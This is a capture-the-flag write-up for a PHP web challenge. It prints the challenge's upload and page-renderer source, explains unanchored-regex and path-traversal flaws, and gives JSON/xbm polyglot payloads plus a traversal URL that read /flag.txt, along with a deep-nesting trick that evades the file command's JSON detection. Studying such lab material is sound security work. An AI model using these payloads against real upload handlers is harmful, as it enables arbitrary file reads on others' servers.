#web #polyglot
Part of the [[x3 2025]] CTF.
# Description
Welcome new employee! As you are aware, we at ~~SpellCheckers~~ MVMCheckers Inc. are the foremost experts at creating magical days for our clients. Please fell free to explore our administration application. Be aware that we are currently rebuilding the system using our proprietary, cutting edge interpreter.
Files: [MVMCheckers-Inc.tar.gz](https://mega.nz/file/3xVRQLiT#GNIOmGbJ2E4JsRtjNNrXF7JpYj8b9o3JDUziTfBbElQ)
# Analysis
Let's start by looking at a couple of interesting PHP files.
## `administration.php`
```php
<?php
include_once "header.php";
?>
<h1 class="text-center my-5">Administration</h1>
<h2>Add a magician</h2>
<form enctype="multipart/form-data" method="POST">
<label for="inputName" class="form-label mt-3">Name</label>
<input id="inputName" name="name" type="text" required class="form-control"/>
<label for="inputMagician" class="form-label mt-3">Magician Image</label>
<input id="inputMagician" name="magician" required type="file" accept="image/jpeg" class="form-control"/>
<input type="submit" value="Add magician" class="form-control mt-3"/>
</form>
<?php
if ($_SERVER["REQUEST_METHOD"] != "POST") exit();
if (!isset($_FILES["magician"])) {
echo "<p>You must provide a magician image to upload magicians.</p>";
exit();
}
if (!isset($_POST["name"])) {
echo "<p>You must provide a name for your magician.</p>";
exit();
}
$uploadFile = "./magicians/" . $_POST["name"] . ".magic";
$tmpFile = $_FILES["magician"]["tmp_name"];
$mime = shell_exec("file -b $tmpFile");
if (!preg_match('/\w{1,5} image.*/', $mime)) {
echo "<p>Invalid upload!</p>";
exit();
}
if (str_contains($uploadFile, "php")) {
echo "<p>Invalid magician name!</p>";
exit();
}
echo "<p>";
if (move_uploaded_file($tmpFile, $uploadFile)) {
echo "Magician successfully uploaded!";
} else {
echo "Magician upload failed :(";
}
echo "</p>";
?>
```
This script allows us to upload a file.
The `file -b` command is used to check the type of the file we upload. If that type does not match the regular expression `\w{1,5} image.*`, then the upload is aborted.
There are a couple of things to note:
- The regular expression does not match the beginning or end of the line (`^` or `
), meaning it can appear anywhere in the output.
- We have no control over `tmp_name`, so command injection is not possible.
Another interesting thing to note is that we control `$_POST["name"]`, so we can use path traversal to place our uploaded file in an unintended location. The fact that `.magic` is appended and that there is an explicit check for `php` means that we can't just upload and execute our own PHP file.
## `rebuild/index.php`
```php
<?php
include_once "../header.php";
$pageName = $_GET["page"];
if (!preg_match('/\w{5,10}\.\w{3,5}/', $pageName)) {
echo "<p>Invalid page name ):</p>";
exit();
}
$pageString = file_get_contents("./$pageName");
$sanitized = str_replace("\\", "", $pageString);
$pageObject = json_decode($sanitized, flags: JSON_INVALID_UTF8_IGNORE);
if ($pageObject == null) {
echo "<p>This page does not exist ):</p>";
exit();
}
function interpret($section) {
$content = null;
switch ($section->type) {
case "text":
$content = $section->value;
break;
case "link":
$content = file_get_contents($section->value);
break;
}
return "<$section->tag>$content</$section->tag>";
}
echo "<div class='container my-8 text-center'/>";
foreach ($pageObject->sections as $section) {
echo interpret($section);
}
echo "</div>";
```
This script is used to display information from a JSON file, such as `about.json`:
```json
{
"sections": [
{"type": "text", "tag": "h1", "value": "The leading experts in spell-full entertainment"},
{"type": "text", "tag": "p", "value": "We at SpellCheckers Inc. are the foremost experts at creating magical days for our clients."},
{"type": "link", "tag": "i", "value": "./footnote.txt"}
]
}
```
One interesting thing to note is that `link` entries contain a file path. The script opens this file path and displays the contents on the page. If we could create our own JSON file then we could use it to display `/flag.txt`.
Another interesting thing is the regular expression used to validate the file name (`/\w{5,10}\.\w{3,5}`). Similarly to what we saw before, there is no `^` or `
to match the beginning or end of the string. This means that we can use `../` to traverse and open unintended files.
The final interesting thing is that `\` characters are removed from the JSON file. At the moment there isn't a clear reason for this, but it seems suspicious.
# Exploitation
At this point we can begin to formulate a plan for our exploit. If we can get a file that `file -b` thinks is an image, but also parses to a JSON object, then we should be able to use `rebuild/index.php` to display the flag.
## `file`
The first step is to look through the source code of the `file` command to work out how it determines if a file is an image.
`file` has its own text-based format for describing file magics. We can perform a regular expression search for `\t.*\w image` to find candidates and exclude those that:
- Don't allow us to have `{"` at the beginning.
- Require us to have non-ASCII bytes.
After all the exclusions, we are left with a few options (there are probably more, but these are enough):
```plain
0x10 string SEGADISCSYSTEM\040\040 Sega Mega CD disc image
0x10 string SEGABOOTDISC\040\040\040\040 Sega Mega CD disc image
65 string PNTGMPNT MacPaint image data
0 search/2048 #define\040
>&0 regex [a-zA-Z0-9]+_width\040 xbm image
>>&0 regex [0-9]+ (%sx
>>>&0 string \n#define\040
>>>>&0 regex [a-zA-Z0-9]+_height\040
>>>>>&0 regex [0-9]+ \b%s)
```
All of these should work, but the most forgiving is `xbm image`, which just requires us to have something matching the regular expression `#define [a-zA-Z0-9]+_width ` near the start of our file.
## Payload
Now we are ready to write our payload. This should be fairly simple, we just need to construct a JSON object containing:
- The `#define [a-zA-Z0-9]+_width ` regular expression.
- A `sections` list with a `link` element pointing to `/flag.txt`.
Such as this:
```json
{
"#define exploit_width ": "",
"sections": [
{"type": "link","tag": "i","value": "/flag.txt"}
]
}
```
But, if we run `file -b` on that, we get:
```plain
JSON text data
```
Which is a problem. Looking at the `file` source code we can see that if a file is detected as JSON, that trumps everything else., so we need to somehow avoid `file` from detecting our file as JSON.
Luckily, this is where that suspicious `\` replacement from before comes into play. We can put a `\` somewhere to corrupt the JSON so that `file` does not detect it, but the PHP will parse it fine since it removes all `\` characters.
Here is a sample payload:
```json
{
"#define exploit_width ": "\",
"sections": [
{"type": "link","tag": "i","value": "/flag.txt"}
]
}
```
This time, `file -b` outputs:
```plain
xbm image, ASCII text, with CRLF line terminators
```
Brilliant :)
## Exploitation
Now we just need to upload our crafted file:

And navigate to `/rebuild/?page=../magicians/exploit.magic` to get our flag:
![[mvmcheckers_inc_2.png]]
# Addendum
After the CTF had finished, `@katietheqt` posted a far better and more generic solution to the JSON problem on Discord that didn't involve using a `\` at all.
It turns out that `file`'s JSON parsing has the following condition:
```c
if (lvl > 500) {
DPRINTF("Too many levels", uc, *ucp);
return 0;
}
```
Which is used to make sure that the program doesn't recurse too deeply.
This means that if you put over 500 nested lists or objects in your JSON file, then the `file` command won't detect it as JSON.
Here is a sample payload using this technique:
```json
{
"#define exploit_width ": [[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]],
"sections": [
{"type": "link","tag": "i","value": "/flag.txt"}
]
}
```